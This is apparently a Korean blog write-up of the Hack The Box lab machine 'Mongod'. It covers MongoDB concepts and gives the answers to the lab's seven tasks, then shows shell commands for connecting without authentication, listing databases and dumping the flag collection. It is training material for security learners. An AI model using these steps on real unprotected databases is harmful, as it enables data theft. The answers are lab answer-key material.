
1. Target Overview (머신 요약)
- Target Name: Mongod
- OS: Linux
- Difficulty: Tier 0 (Starting Point)
- Vulnerability: Unauthenticated Database Access (비인가 데이터베이스 접근 허용)
- Attack Vector: MongoDB Misconfiguration (인증 정책 누락 및 외부 네트워크 바인딩 노출)
2. 핵심 개념 총정리
① NoSQL 및 Document-Oriented 데이터베이스
- 고정된 스키마(Table, Row, Column)를 사용하는 전통적인 SQL 데이터베이스와 달리, 유연한 JSON(내부적으로는 BSON) 형식의 문서(Document)를 컬렉션(Collection) 형태로 저장하는 데이터베이스 아키텍처
- 데이터 구조 변경이 쉽고 수평적 확장이 용이하여 빅데이터 처리 및 실시간 분석 등 현대 웹 애플리케이션 백엔드 표준으로 자리 잡고 있습니다.
② MongoDB 서비스 포트 및 인증 아키텍처
- MongoDB 데몬(mongod)은 기본적으로 27017/tcp 포트를 사용하여 클라이언트 연결을 수신
- 초기 설치 시 기본적으로 인증 기능이 비활성화(Disabled)되어 있음
- 관리자가 별도의 접근 통제(Access Control)를 구성하지 않고 외부망에 포트를 노출할 경우 누구나 최고 관리자 권한으로 DB 덤프(Dump) 및 랜섬웨어 공격을 수행할 수 있는 치명적인 위협이 발생
③ 몽고 쉘 (Mongo Shell)
- mongodb-clients 패키지를 통해 제공되는 CLI 도구
- MongoDB 서버와 상호작용할 수 있는 인터랙티브한 JavaScript 인터페이스
- 이를 통해 데이터베이스에 질의(Query)를 수행하거나 데이터를 삽입, 수정, 삭제할 수 있
[Task 1] How many TCP ports are open on the machine?
- 정답: 2
- 분석: Nmap 스캐닝을 통해 타겟 인프라에서 SSH(22/tcp)와 데이터베이스 데몬(27017/tcp) 등 총 2개의 통신 포트가 활성화되어 있음을 확인
[Task 2] Which service is running on port 27017 of the remote host?
- 정답: mongodb
- 분석: nmap -sV 옵션을 통한 서비스 버전 핑거프린팅 결과, 27017 포트에서 구동 중인 서비스 데몬이 MongoDB임을 식별
[Task 3] What type of database is MongoDB? (Choose: SQL or NoSQL)
- 정답: NoSQL
- 분석: 관계형 데이터베이스가 아닌, 비관계형 데이터베이스(Not only SQL) 시스템임을 의미
[Task 4] What command is used to launch the interactive MongoDB shell from the terminal?
- 정답: mongosh
- 분석: 터미널 환경에서 대상 MongoDB 인스턴스에 원격으로 접속하여 대화형 셸(Interactive Shell)을 실행하기 위해 호출하는 CLI 명령어
[Task 5] What is the command used for listing all the databases present on the MongoDB server? (No need to include a trailing ;)
- 정답: show dbs
- 분석: 타겟 DB 서버에 접속한 후, 현재 인스턴스에 존재하는 전체 논리적 데이터베이스 목록을 열거하는 명령어
[Task 6] What is the command used for listing out the collections in a database? (No need to include a trailing ;)
- 정답: show collections
- 분석: 특정 데이터베이스 공간에 진입한 후, 내부에 존재하는 테이블 형태의 구조인 '컬렉션(Collections)' 목록을 출력하는 명령어입니다.
[Task 7] What command is used to dump the content of all the documents within the collection named flag?
- 정답: db.flag.find()
- 분석: flag 컬렉션 내부에 저장된 모든 도큐먼트 객체를 검색(find())하고 화면에 덤프(Dump)하여 데이터를 추출하는 쿼리 명령어
[Root Flag] 시스템 침투 및 플래그 추출
- 분석:
- mongo 클라이언트를 통해 대상 서버에 인증 절차 없이 접속(Anonymous Connection)을 획득
- 이후 정보 수집을 통해 sensitive_information DB를 식별
- 내부의 flag 컬렉션에 쿼리를 전송하여 중요 데이터를 탈취
# 타겟 MongoDB 서버 접속
mongo --host [Target IP]
# 데이터베이스 열거
> show dbs
admin 0.000GB
config 0.000GB
local 0.000GB
sensitive_information 0.000GB
users 0.000GB
# 타겟 데이터베이스 진입
> use sensitive_information
switched to db sensitive_information
# 컬렉션 열거
> show collections
flag
# 데이터 탈취 (가독성 높은 형태로 덤프)
> db.flag.find().pretty()
'CTF > HTB' 카테고리의 다른 글
| Appointment (1) | 2026.04.06 |
|---|---|
| Synced (0) | 2026.04.06 |
| Preignition (0) | 2026.04.06 |
| Explosion (0) | 2026.04.06 |
| Redeemer (0) | 2026.04.06 |
Discussion 0